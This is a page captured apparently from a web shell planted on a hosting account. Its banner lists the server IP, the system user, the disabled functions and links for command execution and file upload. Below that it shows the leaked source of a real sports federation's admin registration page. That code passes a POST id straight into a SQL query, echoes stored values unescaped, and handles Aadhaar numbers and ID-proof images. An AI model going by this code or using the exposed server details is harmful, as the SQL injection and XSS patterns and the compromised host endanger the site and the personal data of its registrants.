|
Server IP : 86.38.243.193 / Your IP : 216.73.217.143 Web Server : LiteSpeed System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64 User : u493057690 ( 493057690) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /home/u493057690/domains/iasfindia.com/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require_once 'validate.php';
require 'name.php';
?>
<?php
include('header.php');
?>
<?php
include('sidebar.php');
?>
<!--app content-->
<?php
require_once 'connect.php';
if (isset( $_POST['select'] ))
{
$id=$_POST['id'];
$query = $conn->query("SELECT * FROM `registration` where id='$id'") or die(mysql_error());
//mysqli_query($conn,$query);
while($fetch = $query->fetch_array()){
?>
<div class="app-content">
<div class="side-app">
<div class="col-xl-12">
<!--row open-->
<div class="row">
<div class="col-12">
<div class="card">
<div class="card-header">
<h3 class="card-title">Registration Form</h3>
</div>
<div class="card-body">
<div id="smartwizard-3">
<div>
<div id="step-10" class="">
<form method="POST" action="../update-regist.php" enctype="multipart/form-data" name="bookform" id="pbookform" onsubmit="return checkEnquiryForm2();">
<div class="row">
<div class="col-md-4">
<div class="control-group form-group">
<label class="form-label">Serial ID</label>
<input type = "text" class = "form-control" name = "serial_id" id="serial_id" value="<?php echo $fetch['serial_id']?>"/>
</div>
<div class="control-group form-group">
<label class="form-label">Your Name</label>
<input type = "text" class = "form-control" name = "name" id="name" value="<?php echo $fetch['name']?>"/>
</div>
<div class="control-group form-group">
<label class="form-label">Your Father's Name</label>
<input type = "text" class = "form-control" name = "father_name" id = "father_name" value="<?php echo $fetch['father_name']?>"/>
</div>
<div class="control-group form-group">
<label class="form-label">Date of Birth</label>
<input type = "text" class = "form-control" name = "dob" id = "dob" value="<?php echo $fetch['dob']?>"/>
</div>
<div class="control-group form-group">
<label class="form-label">Address</label>
<input type = "text" class = "form-control" name = "address" id = "address" value="<?php echo $fetch['address']?>"/>
</div>
<div class="control-group form-group">
<label class="form-label">District</label>
<input type = "text" class = "form-control" name = "dist" id = "dist" value="<?php echo $fetch['dist']?>"/>
</div>
<div class="control-group form-group">
<label class="form-label">State State</label>
<input type = "text" class = "form-control" name = "state" id = "state" value="<?php echo $fetch['state']?>"/>
</div>
</div>
<div class="col-md-4">
<div class="control-group form-group">
<label class="form-label">Country</label>
<input type = "text" class = "form-control" name = "country" id = "country" value="<?php echo $fetch['country']?>"/>
</div>
<div class="control-group form-group">
<label class="form-label">Your Game</label>
<input type = "text" class = "form-control" name = "sport" id = "sport" value="<?php echo $fetch['sport']?>"/>
</div>
<div class="control-group form-group">
<label class="form-label">Select Designation</label>
<input type = "text" class = "form-control" name = "designation" id = "designation" value="<?php echo $fetch['designation']?>"/>
</div>
<div class="control-group form-group">
<label class="form-label">Select Age Category</label>
<input type = "text" class = "form-control" name = "age_category" id = "age_category" value="<?php echo $fetch['age_category']?>"/>
<!--<select name="age_category" id="age_category" class="form-control">
<option value="-1">Select Age Category</option>
<option value="Under 7">Under 7</option>
<option value="Under 9">Under 9</option>
<option value="Under 11">Under 11</option>
<option value="Under 14">Under 14</option>
<option value="Under 16">Under 16</option>
<option value="Under 17">Under 17</option>
<option value="Under 19">Under 19</option>
<option value="Under 21">Under 21</option>
<option value="Under 23">Under 23</option>
<option value="Junior">Junior</option>
<option value="Senior">Senior</option>
<option value="Other">Other (Only for Coaches & Officials)</option>
</select>-->
</div>
<div class="control-group form-group">
<label class="form-label">Enter Contact Number</label>
<input type = "text" class = "form-control" name = "contact_no" id = "contact_no" value="<?php echo $fetch['contact_no']?>"/>
</div>
<div class="control-group form-group">
<label class="form-label">Enter Email Id</label>
<input type = "text" class = "form-control" name = "emailid" id = "emailid" value="<?php echo $fetch['emailid']?>"/>
</div>
<div class="control-group form-group">
<label class="form-label">Enter Adhar Number</label>
<input type = "text" class = "form-control" name = "adhar_no" id = "adhar_no" value="<?php echo $fetch['adhar_no']?>"/>
</div>
</div>
<div class="col-md-4">
<div class="control-group form-group">
<label class="form-label">Enter Your Coach</label>
<input type = "text" class = "form-control" name = "coach" id = "coach" value="<?php echo $fetch['coach']?>"/>
</div>
<div class="control-group form-group">
<label class="form-label">Enter Result</label>
<input type = "text" class = "form-control" name = "result" id = "result" value="<?php echo $fetch['result']?>"/>
</div>
<div class="control-group form-group">
<label class="form-label">Status</label>
<input type = "text" class = "form-control" name = "status" id = "status" value="<?php echo $fetch['status']?>"/>
</div>
<div class="control-group form-group">
<label class="form-label">Tournament Name</label>
<input type = "text" class = "form-control" name = "t_name" id = "t_name" value="<?php echo $fetch['t_name']?>"/>
</div>
<div class = "form-group">
<input type = "hidden" class = "form-control" name = "id" id = "id" value="<?php echo $id; ?>"/>
<button class = "btn btn-info form-control" name = "updatereg" style="width:100%"><i class = "glyphicon glyphicon-save"></i> Submit</button>
</div>
<div class="control-group form-group">
<table>
<tr>
<td style="width:50%">
<label class="form-label">Photo</label>
<input type = "hidden" class = "form-control" name = "photo" id = "photo" value="<?php echo $fetch['photo']?>"/>
<img src="../<?php echo $fetch['photo']?>" alt="img" class="w-100 br-5 shadow-lg" style="width:60px !important;">
</td>
<td>
<button type="button" class="btn btn-primary" data-toggle="modal" data-target="#exampleModal">
Change Photo
</button>
<div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Change Photo</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<img src="../<?php echo $fetch['photo']?>" alt="img" class="w-100 br-5 shadow-lg" style="width:150px !important;">
<input type="file" class="form-control" id="uf1" name="uploadedfile1" onchange="validateSize1(this)" >
</div>
<div class="modal-footer">
<input type = "hidden" class = "form-control" name = "id" id = "id" value="<?php echo $id; ?>"/>
<button class = "btn btn-info form-control" name = "updatephoto" type="submit"><i class = "glyphicon glyphicon-picture"></i> Save</button>
<button type="button" class="btn btn-secondary form-control" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
</td>
</tr>
</table>
<!-- <input type="file" class="fancyuploader" accept=".jpg, .png, image/jpeg, image/png" id="myFile" name="uploadedfile1" required = "required" > -->
</div>
<div class="control-group form-group">
<table>
<tr>
<td style="width:50%">
<label class="form-label">Photo Id Proof</label>
<input type = "hidden" class = "form-control" name = "adhar_card" id = "adhar_card" value="<?php echo $fetch['adhar_card']?>"/>
<img src="../<?php echo $fetch['adhar_card']?>" alt="img" class="w-100 br-5 shadow-lg" style="width:60px !important">
</td>
<td>
<button type="button" class="btn btn-primary" data-toggle="modal" data-target="#exampleModal1">
Change ID Proof
</button>
<div class="modal fade" id="exampleModal1" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Change Photo Id Proof</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<img src="../<?php echo $fetch['adhar_card']?>" alt="img" class="w-100 br-5 shadow-lg" style="width:150px !important;">
<input type="file" class="form-control" id="uf2" name="uploadedfile2" onchange="validateSize2(this)" >
</div>
<div class="modal-footer">
<input type = "hidden" class = "form-control" name = "id" id = "id" value="<?php echo $id; ?>"/>
<button class = "btn btn-info form-control" name = "updateadhar" type="submit"><i class = "glyphicon glyphicon-picture"></i> Save</button>
<button type="button" class="btn btn-secondary form-control" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
</td>
</tr>
</table>
</div>
<div class="control-group form-group">
<table>
<tr>
<td style="width:50%">
<label class="form-label">Change Signature</label>
<input type = "hidden" class = "form-control" name = "signature" id = "signature" value="<?php echo $fetch['signature']?>"/>
<img src="../<?php echo $fetch['signature']?>" alt="img" class="w-100 br-5 shadow-lg" style="width:60px !important">
</td>
<td>
<button type="button" class="btn btn-primary" data-toggle="modal" data-target="#exampleModal2">
Change Signature
</button>
<div class="modal fade" id="exampleModal2" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Change Signature</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<form action="../update-regist.php" method="post">
<img src="../<?php echo $fetch['signature']?>" alt="img" class="w-100 br-5 shadow-lg" style="width:150px !important">
<input type="file" class = "form-control" id="uf3" name="uploadedfile3" onchange="validateSize3(this)">
</div>
<div class="modal-footer">
<input type = "hidden" class = "form-control" name = "id" id = "id" value="<?php echo $id; ?>"/>
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button class = "btn btn-info form-control" name = "updatesign" type="submit"><i class = "glyphicon glyphicon-picture"></i> Save</button>
</form>
</div>
</div>
</div>
</div>
</td>
</tr>
</table>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!--row closed-->
</div>
</div> <!-- end row -->
</div>
<?php
}
}
?>
<!--app content-->
<script>
function checkEnquiryForm2()
{
var valid=false;
if (document.getElementById('serial_id').value=="")
{
alert("Serial Id field can't be left blank");
document.getElementById('serial_id').focus();
}
else if (document.getElementById('name').value=="")
{
alert("Name field can't be left blank");
document.getElementById('name').focus();
}
else if (document.getElementById('father_name').value=="")
{
alert("Father's Name field can't be left blank");
document.getElementById('father_name').focus();
}
else if (document.getElementById('dob').value=="")
{
alert("Enter Valid Date of Birth");
document.getElementById('dob').focus();
}
else if (document.getElementById('address').value=="")
{
alert("Enter Valid Address");
document.getElementById('address').focus();
}
else if (document.getElementById('dist').value=="")
{
alert("Enter Your District");
document.getElementById('dist').focus();
}
else if (document.getElementById('state').value=="")
{
alert("Select Your State");
document.getElementById('state').focus();
}
else if (document.getElementById('country').value=="")
{
alert("Select Country");
document.getElementById('country').focus();
}
else if (document.getElementById('sport').value=="")
{
alert("Enter Your Game Name");
document.getElementById('sport').focus();
}
else if (document.getElementById('designation').value=="")
{
alert("Select Your Designation !!");
document.getElementById('designation').focus();
}
else if (document.getElementById('age_category').value=="")
{
alert("Select Your Age Category !!");
document.getElementById('age_category').focus();
}
else if (document.getElementById('contact_no').value=="")
{
alert("Contact number field can't be left blank");
document.getElementById('contact_no').focus();
}
else if (isNaN(document.getElementById('contact_no').value))
{
alert("Invalid Contact number !! Try again");
document.getElementById('contact_no').focus();
}
else if (document.getElementById('emailid').value=="")
{
alert("Email address field can't be left blank");
document.getElementById('emailid').focus();
}
else if (!validateEmail(document.getElementById('emailid').value))
{
alert("Invalid Email address !! Try again");
document.getElementById('emailid').focus();
}
else if (document.getElementById('adhar_no').value=="")
{
alert("Aadhaar Number number field can't be left blank");
document.getElementById('adhar_no').focus();
}
else if (isNaN(document.getElementById('adhar_no').value))
{
alert("Invalid Aadhaar number !! Try again");
document.getElementById('adhar_no').focus();
}
else if (document.getElementById('coach').value=="")
{
alert("Select Your Coach !!");
document.getElementById('coach').focus();
}
else if (document.getElementById('result').value=="")
{
alert("Enter Result !!");
document.getElementById('result').focus();
}
else if (document.getElementById('status').value=="")
{
alert("Enter Status !!");
document.getElementById('status').focus();
}
else if (document.getElementById('t_name').value=="-1")
{
alert("Enter Tournament Name !!");
document.getElementById('t_name').focus();
}
else
{
valid=true;
}
return valid;
}
function validateEmail(emailid) {
var re = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return re.test(emailid);
}
function validateSize1(input) {
const fileSize = input.files[0].size / 1024 / 1024; // in KB
if (fileSize > 40/1024) {
alert('File size exceeds 40 KB');
$("#uf1").val('');
} else {
// Proceed further
}
}
function validateSize2(input) {
const fileSize = input.files[0].size / 1024 / 1024; // in KB
if (fileSize > 30/1024) {
alert('File size exceeds 30 KB');
$("#uf2").val('');
} else {
// Proceed further
}
}
function validateSize3(input) {
const fileSize = input.files[0].size / 1024 / 1024; // in KB
if (fileSize > 15/1024) {
alert('File size exceeds 15 KB');
$("#uf3").val('');
} else {
// Proceed further
}
}
</script>
<?php
include('footer.php');
?>